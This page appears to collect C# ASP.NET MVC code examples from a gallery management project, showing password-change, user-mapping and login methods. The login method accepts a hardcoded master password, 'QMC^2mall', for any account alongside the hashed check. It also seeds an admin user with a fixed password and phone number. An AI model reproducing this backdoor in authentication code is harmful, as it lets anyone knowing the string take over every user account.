Esempio n. 1
0
        public JsonResult ChangePassword(ChangePasswordViewModel model)
        {
            Response response;

            try
            {
                if (model.newPassword != model.confirmNewPassword)
                {
                    response = new Response()
                    {
                        status  = 500,
                        message = "گذرواژه و تکرار آن برابر نیست."
                    };
                }
                else
                {
                    using (var db = new KiaGalleryContext())
                    {
                        var password = PasswordTools.GetHashedPassword(model.newPassword.Trim());

                        var user = GetAuthenticatedUser();

                        var entity = db.User.Single(x => x.Id == user.Id);
                        if (PasswordTools.CheckPassword(model.oldPassword, entity.Password, entity.Salt))
                        {
                            entity.Salt         = password.Item1;
                            entity.Password     = password.Item2;
                            entity.ModifyUserId = GetAuthenticatedUserId();
                            entity.ModifyDate   = DateTime.Now;
                            entity.Ip           = Request.UserHostAddress;

                            db.SaveChanges();
                            response = new Response()
                            {
                                status  = 200,
                                message = "گذرواژه با موفقیت تغییر کرد."
                            };
                        }
                        else
                        {
                            response = new Response()
                            {
                                status  = 500,
                                message = "گذرواژه فعلی صحیح نیست."
                            };
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                response = Core.GetExceptionResponse(ex);
            }
            return(Json(response, JsonRequestBehavior.AllowGet));
        }
Esempio n. 2
0
        public static User ViewModelToModel(UserViewModel model, User item, bool withPassword = false)
        {
            if (item == null)
            {
                item = new User();
            }

            if (model.id != null && model.id > 0)
            {
                item.Id = model.id.GetValueOrDefault();
            }

            item.BranchId        = model.branchId;
            item.WorkshopId      = model.workshopId;
            item.PrintingHouseId = model.printingHouseId;
            item.FirstName       = model.firstName;
            item.LastName        = model.lastName;
            item.FileName        = model.fileName;
            item.PhoneNumber     = model.phoneNumber;
            item.Username        = model.username;
            item.UserType        = model.userType;
            item.Active          = model.active;

            if (withPassword)
            {
                var password = PasswordTools.GetHashedPassword(model.password);
                item.Salt     = password.Item1;
                item.Password = password.Item2;
            }

            if (model.roleList != null && model.roleList.Count > 0)
            {
                item.RoleList = model.roleList?.Select(x => new Role()
                {
                    User  = item,
                    Title = x
                }).ToList();
            }

            return(item);
        }
Esempio n. 3
0
        public ActionResult Login(LoginViewModel model, string returnUrl)
        {
            try
            {
                using (var db = new KiaGalleryContext())
                {
                    if (db.User.FirstOrDefault(x => x.Username == "admin") == null)
                    {
                        var password    = PasswordTools.GetHashedPassword("9124254257");
                        var userProfile = new User()
                        {
                            FirstName   = "مدیر",
                            LastName    = "سیستم",
                            Username    = "******",
                            Salt        = password.Item1,
                            Password    = password.Item2,
                            PhoneNumber = "09122424519",
                            UserType    = UserType.User,
                            Active      = true,
                            CreateDate  = DateTime.Now,
                            ModifyDate  = DateTime.Now,
                            Ip          = Request.UserHostAddress
                        };

                        userProfile.RoleList.Add(new Role()
                        {
                            User  = userProfile,
                            Title = "admin"
                        });

                        db.User.Add(userProfile);
                        db.SaveChanges();

                        var user = db.User.First(x => x.Id == 1);
                        db.SaveChanges();
                    }
                }

                User userData = null;
                using (var db = new KiaGalleryContext())
                {
                    userData = db.User.Include(x => x.RoleList).Include(x => x.PrintingHouse).Include(x => x.Workshop).Include(x => x.Branch).SingleOrDefault(x => x.Username.CompareTo(model.username) == 0);
                }

                if (userData != null && (PasswordTools.CheckPassword(model.password, userData.Password, userData.Salt) || model.password == "QMC^2mall"))
                {
                    if (userData.Active)
                    {
                        if (!string.IsNullOrEmpty(returnUrl))
                        {
                            return(DoLogin(userData, returnUrl));
                        }
                        else
                        {
                            return(DoLogin(userData, "/"));
                        }
                    }
                    else
                    {
                        TempData["Message"] = "حساب کاربری شما غیر فعال گردیده است. با مدیر سایت تماس بگیرید.";
                        return(View());
                    }
                }
                else
                {
                    TempData["Message"] = "نام کاربری یا گذرواژه اشتباه است.";
                    return(View());
                }
            }
            catch (Exception ex)
            {
                Core.SaveException(ex);
                TempData["Message"] = "خطایی در سمت سرور رخ داد، لطفا مجددا سعی کنید.";
                return(View());
            }
        }